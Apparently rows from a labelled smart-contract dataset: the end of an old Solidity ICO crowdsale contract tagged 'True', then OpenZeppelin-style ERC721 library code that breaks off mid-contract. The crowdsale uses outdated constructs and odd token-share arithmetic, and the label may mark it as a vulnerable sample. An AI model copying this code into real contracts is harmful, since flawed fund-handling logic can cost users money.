token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
//
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
/**
* @param _wallet Vault address
*/
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
/**
* @param investor Investor address
*/
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance); // check
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @param investor Investor address
*/
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public
{
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 etherAmount = _weiAmount.mul(rate).div(1 ether);
return etherAmount;
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract APOTokenCrowdsale is Ownable, Crowdsale {
// The token being sold
APOToken public token = new APOToken();
// Locked Tokens for 12 month
TokenTimelock public teamTokens;
TokenTimelock public reserveTokens;
// Address where funds are collected
address public wallet;
// Address of ither wallets
address public bountyWallet;
address public privateWallet;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault = new RefundVault(msg.sender);
// How many token units a buyer gets per wei
uint256 public rate = 15000;
// ICO start time
uint256 public startTime = 1524650400;
// ICO end time
uint256 public endTime = 1527069599;
// Min Amount for Purchase
uint256 public minAmount = 0.1 * 1 ether;
// Soft Cap
uint256 public softCap = 5500 * 1 ether;
// Hard Cap
uint256 public hardCap = 12700 * 1 ether;
// Unlock Date
uint256 public unlockTime = endTime + 1 years;
// Discount
uint256 public discountPeriod = 1 weeks;
// Finished
bool public isFinalized = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
modifier onlyWhileOpen {
require(now >= startTime && now <= endTime);
_;
}
// Initial function
function APOTokenCrowdsale() public
Crowdsale(rate, vault, token)
{
wallet = msg.sender;
bountyWallet = 0x06F05ebdf3b871813f80C4A1744e66357B0d9e44;
privateWallet = 0xb62109986F19f710415e71F27fAaF4ece89eFf83;
teamTokens = new TokenTimelock(token, msg.sender, unlockTime);
reserveTokens = new TokenTimelock(token, 0x2700C56A67F12899a4CB9316ab6541d90EcE52E9, unlockTime);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(_weiAmount >= minAmount);
require(weiRaised.add(_weiAmount) <= hardCap);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
// Calculate discount rate
if (now <= startTime + 1 * discountPeriod) {
_tokenAmount = _tokenAmount.mul(125).div(100);
} else if ((now > startTime + 1 * discountPeriod) && (now <= startTime + 2 * discountPeriod)) {
_tokenAmount = _tokenAmount.mul(115).div(100);
} else if ((now > startTime + 2 * discountPeriod) && (now <= startTime + 3 * discountPeriod)) {
_tokenAmount = _tokenAmount.mul(105).div(100);
}
// Mint token for contributor
token.mint(_beneficiary, _tokenAmount);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= hardCap;
}
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
// Finalize
finalization();
emit Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
//
if (goalReached()) {
vault.close();
// For team - 20%, reserve - 25%, bounty - 5%, private investors - 10%
uint issuedTokenSupply = token.totalSupply();
uint teamPercent = issuedTokenSupply.mul(20).div(40);
uint reservePercent = issuedTokenSupply.mul(25).div(40);
uint bountyPercent = issuedTokenSupply.mul(5).div(40);
uint privatePercent = issuedTokenSupply.mul(10).div(40);
// Mint
token.mint(teamTokens, teamPercent);
token.mint(reserveTokens, reservePercent);
token.mint(bountyWallet, bountyPercent);
token.mint(privateWallet, privatePercent);
// Finish minting
token.finishMinting();
} else {
vault.enableRefunds();
// Finish minting
token.finishMinting();
}
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > endTime;
}
/**
* @dev Investors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
/**
* @dev Checks whether funding goal was reached.
* @return Whether funding goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= softCap;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
